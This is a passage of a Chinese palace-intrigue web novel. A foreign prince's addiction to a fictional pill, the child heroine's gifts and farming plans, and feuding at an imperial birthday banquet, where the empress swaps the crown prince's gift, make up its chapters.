女子笑意顿收,快速把小纸条塞入宽大的袖口,转身时,已经换上了柔媚的笑意。 进来的男子不过二八,身着极不合身的明黄流云袍,头发束着一根根小辫,脚步虚浮,眼下乌青,就像是被妖精吸走了精气神似的。 “爱妃!”北狄太子匆匆上前,眼底闪烁着一丝癫狂:“逍遥丸呢?我听说无名神医刚刚来了,是不是送逍遥丸来了?” “是呀,殿下!”女子脸上在笑,眼底却没一丝笑意,来到妆台前,拉开一个小抽屉,从里面拿出一个精美的锦盒递给他:“殿下,这些都是无名神医送来的,您摸摸,都还热乎着呢!” 第89章 不知你爹可愿为我效力 “好好好,太好了。”北狄太子大喜,一把抢过木盒,宝贝似的捧在手里:“你说,这么好的东西,孤是不是应该给大夏皇帝献上一颗?” 唐娆脸皮子一抖,差点没忍住一个大逼兜子扇过去。 她死死克制住冲动的手,硬扯出一抹笑来:“大夏皇帝半截身子都快入土了,这种好东西给他不是浪费么?” “爱妃言之有理!” 北狄太子点点头,还不待唐娆松了口,又道:“那就给璃王,他杀了北狄那么多顶天立地的汉子,凭什么置身事外?孤已经坠落无间地狱,他…也得跟着孤一起才好!” 说到最后,北狄太子眼底满是癫狂之色。 唐娆脸色微冷,下一刻又恢复自然,娇笑着主动窝进他怀里:“殿下英明,对北狄来说,老皇帝不算什么,璃王才是最该死的那个人。” “爱妃深得我心啊!”北狄太子最满意唐娆的就是这一点,凡事都会顺着他。 跟唐娆相处,非常舒心。 只是,想到现在的北狄已经被逍遥丸侵害蚕食,他就无比愤怒。 再想到依旧活得好好的宿敌司徒澈,心中更是不岔! 北狄物资匮乏,不善耕种,粮药短缺。 当初与大夏打仗的那几年,死伤无数,哀鸿遍野。 这个时候,逍遥丸出现了。 它对止痛有奇效,能让人忘却烦恼,价格又低廉,一度成为军中将士的神级止痛药。 就连他这个被司徒澈重伤的太子,都服用了逍遥丸。 可谁知道,救命良药却是毒药。 等他回过神来时,北狄下至百姓,上至皇室,都已经沦陷了。 他不是没想过戒掉逍遥丸,但这连唐蕊师傅都需要徒弟们采取强硬手段才能戒掉的东西,对他而言又何其难戒? 北狄太子可不是司徒霄那个废物太子,他自小骁勇善战,善排兵布阵,极其自傲。 天下人几度把他和司徒澈放在同一位置,称他们是天生的对手。 但现在,他却变成了这样。 北狄太子越想越是不忿,药瘾此时也开始发作了。 他拿起一颗被唐娆提纯后的逍遥丸放进嘴里,不过片刻,整个人飘飘欲仙,眼前也出现了幻觉。 司徒澈正跪在他面前,浑身是伤,四肢不全。 “哈哈哈…司徒澈,你也有今天啊?哈哈哈…哈哈哈…” 北狄太子猖狂的大笑起来,跌跌撞撞起身,狞笑着冲了过去,一拳一拳砸在司徒澈脸上,眼底满是疯狂之色:“你跪在这里有什么用?能挽回北狄吗?你是罪人,你作恶多端,跟孤一起入地府吧哈哈哈…” 然而,在唐娆和一众瑟瑟发抖的宫婢眼中,北狄太子正趴在地上,一拳一拳捶打着地面。 哪怕那手血肉模糊都还没停下。 唐娆眼底阴冷的讥讽之色一闪而逝。 罪人? 你们北狄,才是真正作恶多端的罪人! 就算死了,地府也不会收了你们。 你们就只配做孤魂野鬼,岁岁年年漫无目的游荡在天地间,为南蛮冤魂们赎罪。 最后,魂飞魄散! … 大夏! 唐蕊陷入了彻底的忙碌中。 还好的是,因为中毒的关系,国学监暂时不用去了。 但,沐休日还要应付元嬷嬷。 几个老妈速度又快,很快把店铺收拾出来。 唐蕊看过这些店铺的地段,定下来后,才开始装潢店面。 当然,这里面少不了唐蕊一些巧思。 比如店庆活动,又比如火锅店这种地方设置了等待区云云。 不做就算了,既然做了,就要做好。 就在各位便宜老妈忙着招呼手底下的人装潢的时候,邓掌柜也找上门来,还带来了唐蕊梦寐以求的种子。 “没错,没错,这是土豆种子,这是红薯种子,这是玉米种子。”唐蕊确认过后,欣喜的看向掌柜:“邓掌柜,你太厉害啦,这才多久哇,你就找到啦。” 邓掌柜笑呵呵道:“其实也是凑巧,小的寄信回去的时候,小人的爹正好收购了这些种子,打算自己试着种种,看能种出个什么东西来。这不,一听说郡主您需要,小人的爹立刻拖人快马加鞭给小人送来了。” “…”你爹啊? 唐蕊打量了一下邓掌柜,很是好奇:“你爹岁数不小了吧?还这么精神?” 邓掌柜的身份虽然不算高贵,但比起很多底层的老百姓略微好一些,家里应该也算较为富裕才是。 作为他爹,儿子有了出息,不是正该享福吗? 没想到还会跑去种地。 邓掌柜闻言有些惭愧了:“郡主您也知道,以前小的每月的月给都赔给了店铺,已经有两年没往家中寄过银子了,小人的爹,知道小人的处境,收购这些种子也是想搏一搏,看能不能赚点钱帮衬小人一些。” 唐蕊恍然大悟点点头,又道:“那你爹会种地吗?” 邓掌柜笑道:“这是自然,小人也是农户出身,后来才从了商!” 唐蕊又继续问:“那你爹今年贵庚,身体如何哦?” 邓掌柜眼睛一亮,瞬间明白了唐蕊的意思,赶紧开口:“回郡主,小人的爹虽然已过耳顺之年,但身体还算硬朗,家信中说,他每隔几天还会去登山,精神得很呐!” “很好!”唐蕊当即拍板:“你爹身体好,又种过这些种子,想来很有经验哦,本郡主打算在庄子里种这三种粮食,不知你爹可愿为我效力?” 邓掌柜激动坏了,当即单膝跪下谢恩:“承蒙郡主看重,小人的爹十分乐意,小的这就雇些人回去,把小人的爹接来。” “是本郡主需要你爹帮忙,哪有让你破费的道理。”唐蕊说罢看向屋外:“大格二格,你们来一下。” 兄弟二人闻声到来,也不进去,就在门口:“郡主!” “稍后邓掌柜会告诉你们地方,你们去帮本郡主接一下人,切记,礼貌一些,不要吓到人家。” 唐蕊说罢,又看向邓掌柜:“你可以写一封家书给他们二人,不光是你爹哦,包括其他亲眷,只要愿意都可以来京都生活,也不用焦虑住的地方,他们可以住在本郡主的庄子上。若是你的家人也愿意种这些粮食,咱们亲兄弟明算账,本郡主也会发放月给。” 第90章 别让顾家小子提前把小白菜拱了 “郡主,大恩呐…”邓掌柜高兴得都快哭了。 谁不想一家团聚? 谁想骨肉分离? 他早在年轻的时候就想把家人都接过来了。 但京城天子脚下,寸土寸金,就算是最差等的房屋,他也买不起啊! 本想租一个四合院,但又遇到了司徒嫱那个刁蛮的货,这两年下来别说攒银子了,他的兜比脸都干净。 现在唐蕊开恩,给了他们住的地方,还给他们工作。 这对他来说,已经是天大的恩德了。 唐蕊摆摆手:“本郡主说过哦,只要你好好为我办事,我不会亏待你的。好了,你快带着大格二格去吧,他俩会点拳脚功夫,到时候再带几个府中的家丁一起去,不用担心你家人的安全问题。” “是,多谢郡主,多谢郡主…”邓掌柜背过身擦了擦眼泪,又朝唐蕊三跪九叩后,这才带着大格二格离开。 他们前脚刚走没多久,就有下人来报,司徒安、顾楠聿和司徒郯都来了。 唐蕊本想让人把他们请进来的,但容嬷嬷却说,女子闺房外男不得入内。 没办法,唐蕊只能让人把他们请到人工湖凉亭。 等她梳洗一番赶过去时,就见明月像一尊雕像似的,双手环抱着剑,杵在顾楠聿面前,正面无表情死死的盯着他。 反观她三个小伙伴。 司徒安像是看神经病似的看着明月。 司徒郯面露尴尬。 顾楠聿依旧是那张死人脸,直接无视了明月的死亡凝视,仿佛当他不存在一般。 “呃…你们这是什么清奇画风哦?” 唐蕊一开口,三个小伙伴立刻看了过来。 “昭华,可好些了?”司徒郯立刻站起身来,眼神像是X光一样扫视着她。 “那当然,你看我这状态还不够好哦?”唐蕊说罢,看向一旁的明月和顾楠聿:“他俩这什么情况?” 司徒安提着一个大食盒,默默的凑了过来,小声跟唐蕊道:“我们也不知道,这个穿黑衣服的刚来就一直盯着顾楠聿,问他什么他也不吱声。” 唐蕊歪了歪小脑瓜,头顶冒出一个大大的问号:“明月,你在干嘛?” 可以不理会别人,不能不理会唐蕊! 明月终于收回了视线,一本正经严肃脸:“奉王爷的令,盯着顾家小子,我正在盯。” 三个小伙伴:“…” 唐蕊无语:“…盯着他做什么?” 明月老实巴交一股脑交代:“王爷说,顾家小子想拱他养的小白菜,让我盯着点,别让顾家小子提前把小白菜拱了。” 唐蕊:“…” 三个小伙伴:“…” 从没想过,这世上居然有人仅仅用两句话,让他们连续无语两次。 就算是顾楠聿这种半疯批,都有些不理解他和璃王的脑回路了:“这位…仁兄,我才十一…” 明月反问一句:“这和你想拱白菜有什么关系吗?” 顾楠聿:“??” 怎么就没关系了? 我小啊,作案工具都没长好,你让我拿什么拱? 一个真不理解对方的解释,一个被对方的脑回路搞得无语,一大一小两人大眼瞪小眼。 看热闹不嫌事大的唐蕊西子捧心,星星眼浮现。 明月长得还不错,气质特别像现代盗墓电影里的小哥。 顾楠聿的脸就不说了,气质清冷。 这么一对眼,就很有cp感啊! 唐蕊的笑容逐渐猥琐,偷偷跟司徒安和司徒郯咬耳朵多:“发现没有?他俩好般配…” 啊字还没说完,司徒安和司徒郯脸色骤变,一前一后及时捂住她的嘴。 唐蕊眨巴着无辜的大眼睛瞅着他们,以眼神传递着——你们干嘛啊? 司徒安小声道:“别说这话,顾楠聿真的会发火!” 司徒郯跟着点了点头,一脸慎重:“是绝对会发火!” 唐蕊:“??” 顾楠聿不像是开不起玩笑的人啊! 怎么会对这种看似就不可能的玩笑发火? 难道… 唐蕊联想到之前司徒安说,顾楠聿小时候被人贩子拐走过。 难道那个时候他遭遇了什么不好的事? 想到这些,唐蕊的眼神里掺杂了一丝同情,掰开两人的手道:“明月,别欺负顾楠聿哦,你要是想盯,就去暗处盯吧!” “也行!”明月一个闪身消失在原地,好像从来都没出现过一般。 “来来来,先吃东西,这些点心可都是宫里的御厨做的,母妃专门让我带来给你尝尝!”司徒安打开食盒,把里面精致的小点心一盘盘拿了出来。 什么千层油糕,杏仁酥,牛舌小饼… 唐蕊渴望的盯着那些好看又好像很好吃的食物,默默的咽了口唾沫。 想吃,爱吃… 可她答应了元嬷嬷,要好好控制饮食的。 但…吃一点点,应该问题不大吧? “我也带了礼物!”司徒郯把一个精美的锦盒递给唐蕊:“昭华,这是紫极狼毫,笔杆子是用罕见的紫玉雕刻的,你看看喜不喜欢?” 紫玉? 唐蕊打开盒子瞅了一眼,差点闪瞎自己的钛合金狗眼。 紫玉本就稀有,一点点就是天价。 可这支笔整个笔杆子都是用紫玉做的,还雕刻了精美的兰花,非常漂亮。 喜欢是喜欢,但是吧… “郯堂哥,这太贵重了,我不能收哦。” “难道这支笔,比我的命更贵重吗?你救了我…”还不止一次。 司徒郯顿了顿又道:“我实在不知道该怎么感谢你,这笔是我亲自去库房挑的,你就收下吧!” “嗐~你都说了是我哥哥,妹妹保护哥哥,这很正常哦。” 唐蕊拗不过司徒郯的盛情,最后只能收下。 四个小伙伴有说有笑聚了一会儿,眼看天色不早了,三人才告辞。 临走时,顾楠聿故意落后两人几步,与唐蕊并排而行,并随意拿出一个锦盒直接塞到她手里:“给你的。” “你也带了礼物哇?我生辰还没到呢!”唐蕊一边说,一边打开了盒子。 一支通透碧绿的埙静静的躺在里面,成年女人拳头大小,最重要的是这成色… 我去! 帝王绿? 唐蕊揉了揉自己的眼睛再看,碧绿的埙剔透水润,依旧静静的躺在里面。 一旁的顾楠聿见她吃惊的样子,不动声色移开视线:“我有次听妙珠说,你会制蛊,又从野史上翻到过,控蛊者都有个媒介使唤蛊虫,这种媒介,一般都是乐曲。这埙名唤碧鸾,音色古朴淳厚,你应该用得上。” 第91章 皇帝寿辰,进宫赴宴 唐蕊呆愣愣的看了他好久,这才不可置信道:“你相信我会制蛊哦?” 当初她说自己会制蛊,不管是老爹还是容嬷嬷,都不信呢! 顾楠聿淡淡道:“你又不是信口雌黄之人,我为何不信?” 唐蕊:“…”心情顿时有点复杂。 感动谈不上,就是感觉心里像是被注入了一股暖流。 都说被人信任的感觉很好,原来是真的。 唐蕊释然一笑,合上了锦盒递回给他:“谢谢哦,但是这个礼物太贵重了,我不能收。” 顾楠聿没有接,只是说道:“既然给了你,那就是你的,若你觉得太过贵重,也可以送我一件价值不菲的回礼。作为朋友,不就是要礼尚往来吗?” “…”这话也没错。 唐蕊还是收下了:“那行,回头我去库房找找,看看有没有适合你的礼物。” 不得不说,顾楠聿确实是博学多才,还知道控制蛊虫需要媒介。 但他不知道的是,本命蛊并不需要。 唐蕊暂时还没有本命蛊,所以挺需要媒介的。 这个埙来得正是时候! 见她收下,顾楠聿嘴角微不可见的翘了翘。 “顾楠聿,走了啊,你怎么那么慢!”已经出了王府大门的司徒安回头朝他喊道。 顾楠聿没有理会她,只是看着唐蕊:“那我先走了,你好好养养,再过不久就是皇上的寿辰,最好不要缺席。” “我知道,谢谢哦!”唐蕊再次道谢,把他送出了王府。 三个小伙伴坐上各自的马车,司徒安还掀起车帘朝她挥爪:“昭华,好好休养哦,早点回国学监,没你在我都无聊了。” “好哦,我一定加油!” 唐蕊也挥了挥爪,目送三个小伙伴逐渐离开自己的视线。 … 几天时间一晃而过,皇帝寿辰到来! 整个京都百姓感念当今圣上仁德,家家户户挂上了红灯笼,为帝君祈福。 这一举动,已经成为习俗。 一到晚上,每家每户的红灯笼犹如黑夜中一盏盏明灯。 放眼望去,整个京都像是淹没在一片朦胧的橘黄色光晕之中。 这万家灯火,充满了烟火气,与美好的祝愿。 司徒澈与秦芷嫣一身正装,就连顾若雪和朱庶妃也换上了符合品阶的繁琐宫装。 作为正妃和侧妃,她们也要随璃王去赴宫宴。 反观两位庶妃,却没有随行。 宫中人多口杂,多一事不如少一事。 璃王府门口,两个女人依依不舍的看着司徒澈,眼神拉丝儿。 短短时日,她们已经爱上了这个男人。 用唐蕊的话说就是,热恋期,一刻都不想跟司徒澈分开。 这不,司徒澈不过是去赴宴而已,两个女人就像是送夫上战场似的。 李庶妃捏着小手绢:“爷,你可要早点回来啊!” 张庶妃赶紧点头,依旧不拘小节:“今晚轮到我了,早点回来,跟我睡觉。” 司徒澈:“…”突然不想回来了。 顾若雪淡淡的瞥了她俩一眼,很快又收回视线。 秦芷嫣尬笑打圆场:“好啦好啦,王府门口别说这些。” “就是啊,咱们赶紧走吧,我脖子都快压断啦!”小小的唐蕊全程苦巴巴,瘪着小嘴。 小小的脑瓜上戴着不少头饰,以及郡主规格的郡主冠,还依照规格带了额饰,整个脑袋重了好几斤,压得她累死了。 偏偏这份罪叫德容礼仪,还不能不受! 听到她的话,几个大人忍俊不禁,也不再耽误,上了马车。 马车缓缓驶向皇宫。 车厢内,三个女人明显心情很好。 因为她们都知道,今晚过后,太子就不再是太子了。 秦芷嫣内心:太子下台,看秦芷媃以后还怎么狂。 顾若雪内心:就喜欢这种恶有恶报的戏码,要不要给这出戏再加一把火呢? 朱玉娆内心:好久都没进宫了,一会儿可以边吃边看热闹,未出阁时尝过御膳房做的龙须酥,味道不错,一会儿都要扒拉过来。 三个女人心思各异,却出奇的一致——希望太子倒霉! 司徒澈则是想得更多一些。 储君下台,肯定会引起朝廷动荡,太子党一派必不罢休,未来一段时间又有的忙了。 在场估计最没负担的,就是唐蕊了,该吃吃该喝喝。 天塌下来有大人顶着,大人要是顶不住再说。 终于,宫门口到了。 清风依旧拿出轮椅,扶着司徒澈坐了上去。 秦芷嫣推着轮椅,带领两个女人昂首挺胸踏入宫门。 他们到时,大殿已经来了很多官员了,几位王爷也早都到了。 他们看了司徒澈一眼,不约而同举了举酒杯。 很明显,他们也在期待今晚的闹剧! 没一会儿,太子也带着秦芷媃和唯一的儿子司徒谨来了。 群臣齐齐起身,高声喊着太子千岁。 司徒霄很享受这种感觉,不屑的扫了几位兄弟一眼,带着家眷坐到了王爷派首位。 秦芷媃显然还记得上次的窘况,刚一坐下,就斜睨了离得最近的辰王妃一眼:“三弟妹,是郯哥又发病了吗?怎么一段时间不见,越来越憔悴了?” 辰王妃:“…” 打人不打脸,揭人不揭短。 不怪她看不惯秦芷媃,听听这踏马说的是人话吗? 坐在这种货色旁边,真是晦气。 她真的很想换位置。 再说了,她憔悴才不是因为郯哥,而是因为郯哥身体越来越好了,她这心也越来越宽了,有心思跟辰王行夫妻之礼了。 谁知道辰王精力这么好,一听懂她的暗示,几乎夜夜都宿在她院儿里,每晚都要叫两三次水,一次一个多时辰。 她知道,辰王还是希望她能再给他生个嫡子。 可这…也太不知节制了一些。 想到这里,辰王妃娇嗔的瞪了辰王一眼。 辰王笑了笑,亲手倒了一杯茶,推到她面前,有点讨好的意思。 辰王妃羞涩一笑,拿起水杯抿了一小口,算是原谅他了。 人家都懒得搭理,秦芷媃的嘲讽没有一点实质性伤害。 讨了个没脸后,秦芷媃又隔着辰王一家三口的桌子隔空喊话睿王妃:“五弟妹,你的脸色怎么也不好啊?别是有喜了吧?” 王爷们可都是焦点,一直注意着王爷群这边的官员听到秦芷媃这话,一个个眉头直皱。 第92章 妯娌间的交锋 谁不知道睿王妃是继妃,入府多年一直无孕啊? 怎么专挑别人的痛处踩? 这是被什么玩意附身了吗? 他们记得,以前的秦芷媃还算温婉啊! 他们不知道,自从襄王妃寿辰后,秦芷媃的名声坏了大半不说,一直给她出谋划策的贴身嬷嬷也被太子杀了。 现在再也没有人提醒她,该在什么场合说什么话,所以这本性,也开始暴露。 只可惜,睿王妃不是辰王妃,一听这话当即怼了回去:“哟,太子妃这是神算子么?连本妃有喜的事都知道?” 秦芷媃闻言脸色一僵:“你…有了?” “是啊,都两个多月了呢!”睿王妃捂着自己平坦的小腹,讥讽道:“不过这话又说回来,太子妃嫁给太子皇兄这么多年了,怎么还一直无所出啊?有找太医好好瞧过吗?要是一直生不出来,太子皇兄岂不是一直都没有嫡出之子?” 秦芷媃脸色一白,被噎得说不出话来。 太子也沉下脸来,无声的喝着闷酒。 嫡子嫡女谁不想要? 他当然也想。 可秦芷媃这女人像是有毛病似的,肚子一直不见动静。 察觉到太子脸色不好,秦芷媃忍着酸楚咬牙怼道:“恭喜了,可别又生个姐儿才好,毕竟五皇弟家里都三个姐儿了。” 得! 这次脸黑的轮到睿王妃了。 就连睿王也是一脸便秘,重重的放下杯子:“太子妃,你是在诅咒本王会绝嗣吗?” 秦芷媃爽了,微微一笑:“本妃可没这个意思,五皇弟着实想多了。” “你…”睿王被她气得说不出话来。 他也清楚,就因为没儿子,很多人都在背地里笑话他。 还会背着他调侃,自己府中三朵金花。 可他又有什么办法啊? 府里的女人就踏马不生儿子啊! 这时,奶团子跑到睿王妃身边,双眼放光的看着她的肚子:“五皇婶,你肚子里有小宝贝了吗?” 看到是唐蕊,睿王妃脸色微缓:“是啊,已经两个多月了。” 唐蕊:“好厉害哦,我可以摸摸你的肚肚吗?” 睿王妃轻笑出声:“昭华想摸摸,自然可以。” 得到允许,唐蕊才伸出小手,隔着衣服轻轻摸了摸她的肚皮,小嘴还不停叭叭,跟念经似的:“小宝贝乖乖哦,我是你的蕊蕊堂姐,以后的以后哦,你一定是个可爱聪慧,人见人爱的宝宝。” 睿王听到这话高兴起来:“就算是女儿,只要如昭华这般,本王也很喜欢。” 唐蕊可是他心目中下凡历劫的仙子,她的祝福能是简单的祝福吗? 睿王觉得,唐蕊分明是在给他的孩子赐光环buff呢! 两口子大多都是臭味相同,在睿王长期的洗脑下,睿王妃也逐渐朝仙女下凡这一说靠拢。 听到唐蕊这话,她神色一喜:“昭华,你说的是真的吗?” 唐蕊煞有其事的点了点头:“真的哦,生儿生女命中自有定数。可我总觉得,五皇婶肚子里的小宝贝,是来报恩的哦,以后他一定会很乖很乖,做你们暖心的小棉袄,所以你们不要嫌弃他哦。” 报恩的? 小棉袄? 这是预言吧? 是吧是吧? 睿王妃与睿王互视一眼,都难掩喜色。 “哈哈哈…昭华所说必是真的。”睿王开怀大笑,期待的看着自家王妃的肚子。 群臣见他高兴,也适时恭喜,好听的话不断。 没人发现,后面坐着的三个女儿,眼底的复杂之色。 特别是两个嫡女! 她们的生母在生幺女司徒月的时候,产后血崩,撒手人寰。 现在的睿王妃是她们的继母,对她们也都不错。 可这到底不是亲生母亲啊! 若生下的是女儿就算了,若是男孩,还会管她们死活吗? 以后睿王府还有她们的容身之地吗? 这一刻,两个嫡女都有些慌了。 睿王妃毫无所觉,得意的看了一眼秦芷媃,炫耀般抚摸着自己的肚子:“只要聪明可爱,是个女儿也好啊。不像某些人,别说女儿了,一个蛋都生不出来呢!” “你…” “闭嘴!” 太子喝止了秦芷媃,眼神有些阴冷:“再闹,就给孤滚回东宫!” “是…”秦芷媃可不敢顶撞太子,憋屈的闭了嘴,委屈得眼泪都在眼眶里打转。 她可是他的妻,居然一点面子都不给。 这里这么多人,他们都听到了吧?看到了吧? 到底是从什么时候开始,她这个太子妃,活得越来越像个笑话了? 对面何氏看着女儿遭受委屈,心如刀割,好几次都想开口。 可永安侯却警告她:“你敢乱说话,本侯一定会休了你。” 得! 何氏不敢开口了,只能用心疼的眼神看着秦芷媃。 因为这一出,睿王夫妻对唐蕊的喜爱又多了一层,看到唐蕊盯着他们桌上的龙须酥,睿王妃还特意端来递给她:“昭华喜欢吃这个是不是呀?” “嗯呐嗯呐!”这可不是现代工业产品,而是纯手工龙须酥啊! 她桌上那份,早就被炫光啦。 睿王妃笑了笑:“那就拿回去吃吧,若是不够,这龙须酥我也会做,改明我多做一些,让人送去璃王府,你也尝尝皇婶的手艺。” 唐蕊点点头,冲她无齿一笑。 还没来得及说话,辰王妃也默默把自己桌上那份龙须酥递了过来:“蕊蕊,拿回去吃吧,我不爱吃这个,太甜了。” “还有我的,昭华,来来来,我也不爱吃龙须酥,都给你吃。”襄王妃也不甘示弱,端起自己桌上那盘龙须酥朝唐蕊招手。 唐蕊羞涩捂脸:“三皇婶五皇婶六皇婶,你们也太爱我了叭,怪不好意思的哦!” 童言童语逗得三个王妃直乐呵,就连后面那些小辈也都跟看稀奇似的。 唐蕊,真是相亲相爱皇室大家庭里的一朵奇葩。 对他们而言,自己的父母非常恐怖。 可是唐蕊居然都不怕诶! 那小嘴叭叭的,甜得不得了,他们怎么都学不来! 而平时对他们极为严厉的父母,在唐蕊面前,就像是被什么玩意附身了一样,和蔼可亲,非常好说话。 这叫什么事儿啊! 最终,唐蕊端着三盘龙须酥,屁颠屁颠回到了自己位置上,还顺手给了朱玉娆一盘。 给朱玉娆感动得泪眼汪汪。 不愧是小棉袄,要来饭都不忘给她留一份。 希望自己以后的孩子,也能跟蕊蕊一样贴心才好。 想到这里,朱玉娆羞涩的瞥了一眼司徒澈,已经开始幻想未来她跟司徒澈的孩子是什么样子了。 司徒澈:“…” 第93章 送礼环节 司徒澈:“…” 早就捂脸了! 璃王府时短了唐蕊吃喝吗? 跑宫宴上要饭来了。 丢人,太丢人了! “皇上驾到!贵妃娘娘驾到!” 太监尖细的嗓音响起,满朝文武齐齐跪下,高呼皇上万岁,贵妃娘娘千岁。 皇帝带着高贵妃笑着走了进来,坐上高位,这才让大家平身,随即看向唐蕊:“隔着老远就听到昭华的声音了,在说什么啊?这么开心。” 唐蕊笑眯眯道:“皇爷爷,孙女在说,五皇婶肚肚里的小宝贝是来报恩的,以后一定会很乖很乖,非常贴心哦。” “哦?”皇帝这才看向睿王夫妻:“老五家的有喜了?” “是!”睿王起身笑着拱手:“已经两月有余。” 皇帝龙颜大悦:“好,一会儿带个老嬷嬷回去,务必好生照料。” “多谢父皇!”睿王夫妻很是惊喜,齐齐跪下谢恩。 皇帝儿子多,还从没在哪个儿媳怀孕时,赐嬷嬷回去照料的。 这可是第一次啊! 高贵妃掩唇一笑,也愿意跟唐蕊亲近:“皇上,昭华郡主这小嘴跟开过光似的,她说的定然是真的。” “哈哈哈…”皇帝笑道:“那是自然,朕的昭华可是小福星,老五家的这一胎,定然不凡。” “恭喜睿王,恭喜睿王妃!”群臣很识时务贺喜。 现场一片其乐融融。 就在这时,一道身影被很多宫女簇拥着踏入大殿:“本宫没有回来晚吧?” 群臣呆住了,不可置信的看着走进来的女人。 她一身正红宫装,头戴凤冠,雍容华贵,气场全开。 那双与司徒澈及其相似的眼眸,不怒自威,与皇帝相比都不减霸气。 皇帝嘴角的笑意缓缓收敛。 皇后? 竟然是皇后? 为何他没收到一点消息? 皇后回来,难道是听到了什么风声? “臣妾归来,祝愿皇上龙体安泰,福泽绵延!”皇后福了福身子,哪怕低眉顺眼,那眉宇间的锋利,也能看出此妇人不好惹。 皇帝硬扯出一抹笑:“平身吧!” “多谢皇上!”皇后直起身来。 朝臣和王爷们这下也回过神了,齐齐朝皇后行礼。 待皇后说了免礼后,皇帝又随口一问:“皇后怎么回来了?” 皇后闻言直视着皇帝,皮笑肉不笑道:“皇上寿辰,臣妾哪有不回来的道理?” “…”你踏马! 皇帝脸色沉了沉,抬了抬手。 高贵妃本来坐在皇帝左边的,一看他的手势,识趣的起身,坐到了他右边。 皇后冷冷一笑,不屑的扫了她一眼,坐到了她的位置上。 然后,第一时间看向了唐蕊,眼神不善:“这就是传闻中,澈儿流落在外的女儿吧?” 司徒澈脸色有些不好,闻言起身朝她拱了拱手:“母后,昭华确实是儿臣的女儿。” “呵…”皇后讥讽一笑,毫不留情:“就算是你的女儿,也只是一个私生女,从古至今,还没听说过哪个私生女能做郡主的,还是昭华郡主,她也配?” 莫名躺枪的唐蕊,吃得正欢的唐蕊:“…” 嘿,我这暴脾气! 怎么就不配了? 我难道还不比太子家那个又蠢又毒的傻妞强吗? 唐蕊满脸不服,司徒澈却慢条斯理道:“父皇觉得她配,那她就配!” 潜台词,你算什么东西? 皇后闻言脸色铁青! 皇帝也淡声道:“封昭华为郡主,是朕的意思,皇后是对朕不满吗?” 皇后笑道:“臣妾不敢!不过是担心有人居心叵测,混淆皇室血脉。” “朕已经滴血验亲,昭华确实乃司徒家的血脉,这事不必再说!” 皇帝都这么说了,皇后只能作罢。 左右一个丫头片子而已,没必要揪着不放。 她纯纯就是想找找茬而已! 眼看帝后之间气氛紧张,群臣也很懂事,赶紧开始献寿礼,试图揭过这一茬。 至于皇帝和皇后之间的相处模式,他们早就习惯了,一直以来都拿不准皇帝对皇后是什么意思。 说他喜欢皇后吧,他对皇后却很冷淡! 说他不喜欢皇后吧,可他所有决策,对皇后又都是有利的,后宫还有那么多皇后周边。 群臣们搞不懂,时间一长也都放弃了,只能叹一句圣心难测! 唐蕊却有点狐疑。 她不是没听说过,皇后很不喜欢自家老爹。 可这哪里是不喜欢?已经属于厌恶了好不好? 真是怪了! 哪有亲生母亲不喜欢自己孩子的? 若皇后真是个冷心冷情的母亲,又为何喜欢太子呢? 难道两个儿子不一样吗? 还是说,自家便宜爹的生母其实不是皇后? 这个想法一出,就被唐蕊否决了。 皇后和司徒澈长得很像,绝对是亲母子无疑。 可这是为什么呢? 啧… 有些搞不懂了哦! 就在唐蕊思考的时候,送礼环节已经开始了。 各种价值连城的宝贝,不要钱似的被群臣捧到皇帝面前。 皇帝面无表情,很高冷样子,可心里的小人已经坐在钱堆里撒钱钱了。 这么多宝贝,国库又能肥一波。 可惜的是,人不能天天过生日,不然他哪儿还用愁什么国库呀? 太子这时站起身来,身后的小太监也适时捧着一个精致的锦盒上前:“父皇,这是儿臣为您准备的寿礼,祝愿父皇千秋鼎盛,龙体康健!” 来了来了! 几个王爷立刻挺直了背脊,准备看好戏。 皇帝也微不可见的笑了笑:“哦?太子送朕什么礼物啊?” “父皇请看!”太子从自家小太监手里接过锦盒打开,下一刻愣住了。 只见本该出现的逍遥丸不见了,取而代之的是一串菩提佛珠手串。 每一颗佛珠光洁如玉,浑然天成,里面还雕刻着一个梵文。 此时知道内情的王爷们也懵了。 皇帝‘大胆’俩字都到了嘴边,可看到那串佛珠,又硬生生的咽了回去,一张脸黑如锅底。 皇后把众人的表情收入眼底,眼底讥讽一闪而逝,不动声色接过话来:“皇上,您看太子多孝顺,这手串可是金光寺至宝,每一颗佛珠,都是千年菩提子,一直携带有绵延益寿的功效,若不是主持大师被太子孝心打动,也不愿割爱。” 第94章 厚赏 是皇后! 她果然收到了消息,悄悄把太子的礼物调包了。 皇帝几乎第一时间反应过来,阴冷的看着她。 皇后轻笑一声,有些得意:“皇上这么看着臣妾作甚?难道臣妾说得不对吗?” “当然对!”皇帝收回视线,抬了抬手:“太子有心了,此物,朕甚是喜爱。” 陈德福秒懂,立刻代替他接过太子的礼物。 太子一脸茫然的坐下了。 他准备的逍遥丸呢? 怎么变成佛珠了? 能神不知鬼不觉换走他寿礼的只有… 太子猛然看向皇后,却见皇后此时也正看着他,眼神里有责备,也有疼惜。 太子:“…”果然是母后。 怎么? 送逍遥丸不妥吗? 几个王爷也都看懂了,互视一眼,垂下眼眸。 可惜… 真是太可惜了… 明明就差一点啊! 呵… 太子这个蠢货真是运气好,有个事事为他操心的娘。 其中心里最难受的,当属司徒澈了。 明明都是皇后的儿子,为什么皇后只偏爱太子? 太子若是个贤德之人也就罢了,可他不是啊! 让他为君,岂不是天下苍生之祸? 司徒澈倒不是非要自己做这个皇帝,他只是单纯的不希望太子上位。 在他看来,几个哥哥都能坐那个位置,唯独太子不可以。 “王爷…”秦芷嫣看出他的难过,伸手握住了他的手:“没事,你还有我们。” “姐姐说得是,王爷,我们都是你的家人。”皇后这种娘,要不要也没所谓。 顾若雪说罢眯起眼眸子,冷冷的看了太子一眼,很快又收回视线。 只要司徒澈想要,她就会给予最大的帮助。 太子,别以为有个好娘就可以坐稳这个位置了。 为了心爱之人,就算是皇后,她也不介意斗上一斗。 朱庶妃最是单纯,抓了抓后脑勺,嘿嘿一笑:“你们都把我想说的话说完了,我都不知道该怎么安慰王爷了。” 几个女人的关心,让司徒澈渐冷的心又温暖起来:“本王没事,你们放心!” 他早已过了需要母爱的年纪,有娘没娘无所谓,他也可以当做皇后死了。 几个王爷叹息一声,强打起精神,开始依次送皇帝寿礼。 辰王送皇帝的是一副万寿图。 睿王送上的是自己珍藏的大家画作。 襄王送上的是一双避毒筷! 老九晋王人没到,却最是实在,让府里的管家献上了十万两银票。 轮到司徒澈,他打开锦盒,神色却瞬间凝固。 只见一枚小小的丹药静静的躺在盒子里,而他原本给皇帝准备的龙腾寿字玉佩却消失不见了。 